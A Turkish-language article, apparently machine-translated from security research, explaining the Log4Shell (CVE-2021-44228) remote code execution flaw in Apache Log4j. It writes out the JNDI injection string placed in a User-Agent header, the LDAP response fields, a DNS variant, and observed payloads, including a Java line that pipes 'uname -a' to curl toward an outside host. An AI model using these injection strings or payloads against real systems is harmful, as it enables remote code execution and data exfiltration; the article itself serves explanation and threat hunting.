Rating - 100%
CVE-2021-44228: Proof-of-Concept for Critical Apache Log4j Remote Code Execution Vulnerability Available (Log4Shell)
CVE-2021-44228 ,dünya çapında uygulamalarda yaygın olarak kullanılan Java tabanlı bir günlük aracıolan Apache Log4j kitaplığındaki bir Uzaktan Kod Yürütme güvenlik açığıdır. Bu güvenlik açığı, günlük mesajlarını denetleyebilen bir saldırganın, saldırgan tarafından denetlenen sunuculardan yüklenen rastgele kodu yürütmesine olanak tanır ve Log4j kitaplığını kullanan çoğu uygulamanın bu koşulu karşılayacağını tahmin ediyoruz.
Apple, iCloud, Twitter, Cloudflare, Minecraft ,Steam servislerinin de etkilendiği görülüyor .
Log4j, günlük bilgilerini kaydetmek için iş sistemleri de dahil olmak üzere çoğu Java uygulamasında kullanılan çok yaygın bir günlük kitaplığı olduğundan, etkisi geniş ölçeklidir.
Yaygın istismar olasılığını artıran birkaç faktör vardır: Güvenlik açığı, uzun süredir var olan bir RCE'dir, kitaplık geniş çapta dağıtılmıştır ve vasıfsız saldırganlar bile onu tetikleyebilir. Temel olarak, tatillerde kurumsal ekipleri hazırlıksız yakalamayı uman fidye yazılımı operatörleri, Noel Baba'dan mükemmel bir hediye aldı
. Bir POC yayınlandıktan 24 saatten kısa bir süre sonra ortaya çıkan, bu güvenlik açığından yararlanan bir cryptominer bildirildi .jndi: dizesinin ilk eklenmesinden sonra, komutun yürütülmesine neden olan ikincil yüke erişmek için bir URI izlenir.


Saldırgan bir başlangıç jndi: eklemesi oluşturacak ve bunu User-Agent HTTP Header'ına dahil edecektir:
User-Agent: ${jndi:ldap://<host>:<port>/<path>}
Artık savunmasız Log4j örneği, dahil edilen URI'ye bir LDAP sorgusu yapacak. LDAP sunucusu daha sonra ikincil yük bağlantısını içeren dizin bilgileriyle yanıt verecektir:
dn:
javaClassName: <class name>
javaCodeBase: <base URL>
objectClass: javaNamingReference
javaFactory: <file base>
javaFactoryVe javaCodeBase değerler daha sonra nihai yük gösteren Java sınıfı içeren nesnenin yer oluşturmak için kullanılır. Son olarak, Java sınıfı belleğe yüklenir ve savunmasız Log4j örneği tarafından yürütülür ve kod yürütme yolu tamamlanır.
Fastly Security Araştırma Ekibi ayrıca, dize kullanımı yoluyla savunmasız Log4j bulut sunucusu tarafından DNS sorgularının yürütülmesini zorlamak için isteğe bağlı bir yeteneği başarıyla yeniden oluşturdu:
${jndi:dns://<dns server>/<TXT record query string>}
Şu anda, DNS'nin rasgele kod yürütme için bir yol sağladığı açık değildir, ancak güvenlik açığını taramak veya hatta diğer güvenlik kontrolleri iletişimi engellediğinde (çıkış güvenlik duvarı kuralı gibi) DNS üzerinden veri tüneli yapmak için kullanılabilir.
Saldırıyı yürütmek, bazı saldırganların aşina olmadığı araçlar gerektirse de, LDAP üzerinden nihai tam kod yürütme yolu zor değildir. Saldırganların daha ilk gün bilgi ve becerilerini artırdığını gördük ve bu böyle devam edecek.
Bu güvenlik açığını kötüye kullanan saldırganları avlamak için, ldapsearch son yük konumlarını sıralamak ve olası kötü niyetli noktaları aramak için aracı kullanmak yardımcı oldu . Testler gibi görünen ve aşağıdaki gibi kodları içeren LDAP yanıtları tarafından atıfta bulunulan birden çok payload aldık:
String payload = "uname -a | curl -d @- http://<host>";
String[] cmds = {"/bin/bash", "-c", payload};
java.lang.Runtime.getRuntime().exec(cmds);
class Exploit {
static {
try { Runtime.getRuntime().exec("touch /tmp/pwned"); } catch(Exception e) {}
}
}
Ancak, tartışıldığı gibi, bu açıkça daha kötü niyetli kod yürütme yeteneğini gösterir.
Örnekler:



"John Hammond"






